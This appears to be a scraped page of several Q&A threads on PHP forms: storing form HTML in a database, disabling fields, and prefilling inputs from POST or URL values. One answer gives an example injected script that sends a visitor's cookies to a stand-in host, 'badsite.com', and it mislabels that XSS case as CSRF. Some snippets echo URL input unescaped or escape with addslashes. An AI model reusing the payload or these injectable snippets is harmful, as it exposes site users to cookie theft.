This question has been asked multiple times before,
but I have a different situation from those I've read.
My Database multiple forms that are to be loaded upon user request. This is not the problem and I can handle this. Within these forms, there are fields that are filled dynamically from 2 queries.
One of my fields that is to be filled from the database looks like this:
<label class="itemLabel" for="name">Name : </label>
<input name="name" type="text" class="itemInput" value="<? echo $queryB[1]; ?>" readonly="readonly" />
as you can see, the value is set to be a PHP code echo $queryB[1] ... When I got the form from the DB and echoed it, the fields got the value <? echo $queryB[1]; ?> instead of the actual value.
I've tried to use eval($myForm) where my form is retrieved from the DB, but nothing appeared in the place where the form should appear. I would appreciate if someone can help me with this.
Your PHP instance has short_open_tag disabled.
Change it to:
<?php echo $queryB[1]; ?>
...and it should do what you expect.
There is nothing different in your situation and it is exactly the same as others.
and the answer is the same as well: do not mix the code and the data.
Do not store the code in the database.
Do not pass GO, do not collect $200
Implement some sort of placeholders or - even better - some form builder and create these forms on the fly, based on the data from database.
Why not to store only relevant data in the database, like
name
type
value
class
and some flags like disabled, readonly and such?
take a look at http://pear.php.net/package/HTML_QuickForm2/
Building on my comment and Col Shrapnel's answer, here is a simple placeholder example. You should really maintain the HTML in a flat file (as it effectively seems to be part of the view in your application), but for simplicity's sake let's say it still resides in the database. Store the following value:
<label class="itemLabel" for="name">Name : </label>
<input name="name" type="text" class="itemInput" value="{queryValue}" readonly="readonly" />
Now, when you load the value from the database, you can replace the placeholder from the text:
$html = str_replace('{queryValue}', $queryB[1], $htmlTemplate);
This is an incredibly simplified example, and masks a load of potential issues regarding placeholder names, formats etc., but it might get you started.
Alternatively, if you decide to opt for the file route, you could have two files:
view.phtml:
<label class="itemLabel" for="name">Name : </label>
<input name="name" type="text" class="itemInput" value="<?php echo $this->value; ?>" readonly="readonly" />
In your current PHP script:
class View {
public function render($file) {
// check for file existence etc.
require_once $file;
}
}
$view = new View();
$view->value = $queryB[1];
$view->render('view.phtml');
Related
I have an update form where users can update their information, but some of the information should not be able to be updated if it already has a value.
From what I understand you must put php code outside the form tags so how would the form know if the database field has a value or not? Would this work below im guessing it won't
<form>
<?php
if (empty($user_data['fieldName'])) {
echo '<label>field name</label>
<input type="text" name="fieldName">';
}
?>
</form>
Does anyone know a way around this? Or how would i check before the field is displayed in the update area?
This part of the code is correct, you may have a problem when assigning the user data in the array $user_data.
An alternative would be to simply disable the input text, that way you could display information to the user without letting him change it.
<form>
<?php
$disabled = "";
if (empty($user_data['fieldName'])) {
$disabled = 'disabled="disabled"'
} ?>
<label>field name</label>
<input type="text" name="fieldName" <?php echo $disabled; ?>/>
</form>
Of course you can do in that way but you should check on the server too if not update exist
Also the most readable way of do this is using alternate php syntax like this
<form>
<?php if (empty($user_data['fieldName'])): ?>
<label>field name</label>
<input type="text" name="fieldName">
<?php endif; ?>
</form>
in that way you can see colors of your html code
see this link,
Alternative php syntax
the doc is for codeigniter but is applicable on clean php
Sorry for my bad english :)
You should have a presentation code, like this :
<form>
<label>field name</label>
<input type="text" name="fieldName" <?=!empty($user_data['fieldName'])?'disabled="disabled"':''?>>
</form>
And a script to update, where you must check if value is set before updating.
As mentioned in a comment, you can put PHP anywhere in a *.php file, so long as it is enclosed in the correct opening and closing tags.
That said, this is a two-sided process:
In the form I would suggest simply disabling the input, so the data is shown, but is not modifiable:
<form>
<label>field name</label>
<input type="text" value="<?php echo addslashes($user_data['fieldName']) ?>" name="fieldName" <?php if(!empty($user_data['fieldName'])) { echo 'disabled="disabled"; } ?> />
</form>
<?php /* Off the top of my head I can not remember how exactly to escape this
form value, it may be `htmlspecialchars`, but it eludes me in the immediate
moment. Sorry. */ ?>
And on your server-side, where you handle the form post data, you will want to double-check that someone didn't forge the data:
if(!empty($user_data['fieldName']) && !empty($_POST['fieldName'])) {
unset($_POST['fieldName']);
}
This way you avoid people modifying the form structure on the client to forge data into your system. You should always do similar checks.
My question is, how do I get the value/text by id, thats between a span from an external website by using cURL. And after that, put it in a variable.
I have the following span:
<span id="company" class="company">Example</span>
I tried to use:
$company = $_POST['company'];
echo($company);
But that didn't work.
The output should be:
Example
To work with $_POST data, you actually have to post the content, typically in a form. The only way to do what you want is to fetch and extract the data from the HTML file itself. (file_get_contents and curl may come in handy at this point)
Finally, you're going to have to parse and extract the data from your obtained content. There are a handful of ways you could do this including using a regular expression or by working directly with the Document Object Model (DOM). (I prefer the latter method.)
Since you're using POST data I'm assuming you're submitting a form on the page already.
Part of your page probably looks like this:
<span id="company" class="company"><?php echo $company; ?></span>
Just add this to your form:
<form ...>
<input type="hidden" name="company" value="<?php echo $company; ?>" />
...
</form>
Now when you submit the form $_POST['company'] will be populated.
Having looked at various similar questions, both on SO and elsewhere, I have a horrible feeling what I want to do is impossible, but here goes.
I have a page that is a table of text input rows. The user enters information on each row, and submits the data to a separate file, which creates a PDF.
The problem is that I need the user to be able to add rows to the table at will, since the amount of data can vary.
[Before you go there, I need to point out that I cannot use Javascript for any of this - I know it is easy to do in JS but the page needs to be accessible.]
Here is a very simplified version I just cobbled together to (hopefully) illustrate the point:
<?php
if (filter_has_var(INPUT_POST, 'add_rows')) {
$howmanyrows = filter_input(INPUT_POST, 'howmanyrows', FILTER_SANITIZE_NUMBER_INT);
//get all the data from table and put it in an array,
//then add 5 (or however many) new rows to said array.
}
else if (filter_has_var(INPUT_POST, 'send_data')) {
//get table data, add to session and redirect to other page with a header()
}
?>
<html>
<form action="" method="POST">
<table>
<?php //table rows added using an array of data
foreach ($data as $d): ?>
<tr><td><input type="text" value="<?php echo $d; ?>"></td></tr>
<?php endforeach; ?>
</table>
<input type="text" name="howmanyrows" value="5">
<input type="submit" name="add_rows">
<input type="submit" name="send_data">
</form>
...
</html>
As you can see, at the moment I have a clunky setup where there is just one form that encompasses the entire page, and submits the page to itself. Depending on the button that was clicked, a new row is added or the data is submitted to the PDF-creation page.
This is not ideal, for so many reasons. What I really want to be able to do is have two separate forms, or nested forms. But the former won't allow the input values to be submitted to both, and the latter is apparently bad form (no pun intended) and doesn't work.
Is it at all possible to make this do what I want it to do? Any suggestions for a different way to go about it?
I think you have the best non-javascript solution - certainly hte way I'd run with it.
One thing to make it easier is that you can use multiple inputs with the same name:
<input name="tablerow[]" type="text" value="A" />
<input name="tablerow[]" type="text" value="B" />
<input name="tablerow[]" type="text" value="C" />
And these come through the $_POST['tablerow'] as an array. The length of the array is the number of fields. Then add additional fields to that.
For accessibility, you should add a link at the top that allows the user to hop directly to the first "new" field - otherwise they need to tab through the entire form to get to the new field. (See my comment above about if JS is really unavoidable as you and they can avoid this scenario!)
Ok, so this is a common scenario.
You have an html form that involves editing information. The original information comes from the database. When you post the form, it may not save the information immediately, because something may need fixing when the data-checking is done, maybe one of the required fields is left blank. As a result, you want to redisplay the form field, but if there was post data, display the post data, if not, display the original data from the database.
So I created a function to check post, then default to some arbitrary data (in this case from the database).
But overall, the approach feels inelegant, the POST data is being pulled invisibly inside the function from a global, but if I pass the post data in I have to pass it in for every function call, and it's almost as verbose as just doing it by hand each time, so specifically I'm looking for alternatives to this approach, and generally I'd love advice on better ways to deal with this form scenario that I deal with every single time I edit html forms.
// Pull from post or get, or else use data, e.g. from the database, to populate a form.
function in_or_data($index, $data, $trim=false){
return $_POST[$index]? ($trim ? trim($_POST[$index]) : $_POST[$index]) : $data[$index];
}
<?php
$item_name = in_or_data('item_name', $data_from_database_somewhere); // Pull post data, with defaults coming from the
?>
// ..... Later, some example html that just escapes & echoes out the data. .....
<td id='item-name'><input name="item_name" type="text" id="item_name" value="<?php echo escape($item_name); ?>" size="47" maxlength="100" tabindex="9"></td>
How can I improve dealing with forms that get their data either from the database initially, or from post after some kind of submission is being done?
<input type="text" name="abc" value="<?php array_key_exists('abc', $_REQUEST) ? $_REQUEST['abc'] : "default value goes here" ?>" />
A more elegant solution, though a serious amount of work, would involve using ajax (jquery, etc.) to perform server-side validation on the form BEFORE actually submitting.
What you are doing seems fine to me. Basically what I do in the same situation is have a hidden field in the form something like
<input name="is_edit"` ... />
and in my PHP just check for $_POST['is_edit'] so that I don't populate anything from the database. One problem with doing every field individually like you are doing it above is that for certain things (for example checkboxes) if the user doesn't check the checkbox, $_POST['checkbox_data'] is not going to be set, so I believe you would end up pulling that from the database using the function you have above. It should be either all or nothing that is pulled by the DB. I therefore do something like this:
<?php
if (isset($_POST['is_edit'])) {
$var1 = $_POST['var1'];
$var2 = $_POST['var2'];
// etc
}
else {
$data = do_db_query_and_get_data();
$var1 = $data['var1'];
$var2 = $data['var2'];
// etc
}
?>
<input type="something" value="<?php echo $var1; ?>" />
<input type="something" value="<?php echo $var2; ?>" />
<input type="hidden" name="is_edit" value="1" />
Doing it like this also has the other advantage of not having to do the database query unless it is necessary.
In addition to my initial php code, I have started using the html5 attributes like required and setting the html5 form types like number, email, etc. It has really really made my forms much better for browsers that support html5 form aspects, and it degrades to standard text boxes and ignores the required attribute in browsers that don't support html5 form stuff.
I want to prepopulate a form with variables from a url. How do I do this?
For example:
http://somewhere.com?name=john
Then the name field in a form would be prepopulated with "John", and if there was no name in the URL then the field would be empty and ready to be filled in.
Thanks in advance..
Well, using php, something like
<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />
I'm not sure how to parse out the get variables using javascript..
Also, remember to add the htmlspecialchars, to thwart csrf attacks.
If someone ran something like: http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
Could turn out badly (just an example, not sure if it works).
The PHP way:
<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>
For javascript, you should first find a way to retrieve GET variables. Have a look at this: How to get "GET" request parameters in JavaScript?
After you include the function proposed in the answer, you can do the following:
document.write('<input type="text" name="name" value="'
+ get('name')
+ '"/>');
You use the PHP $_GET['name'] value as the value of the form element. If there is no value set, the value will appear blank, which is what you want.
<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />
Server side is the best way to go (PHP or whatever language your coding in.) It alleviates client side performance issues and overall and is generally more reliable.
If you needed to use JavaScript though, you could do so with the help of this jQuery plugin (or look at the source to see what / how it gets the GET params from the current window.location.)
http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/
Then use the $('input').val() function to set the value.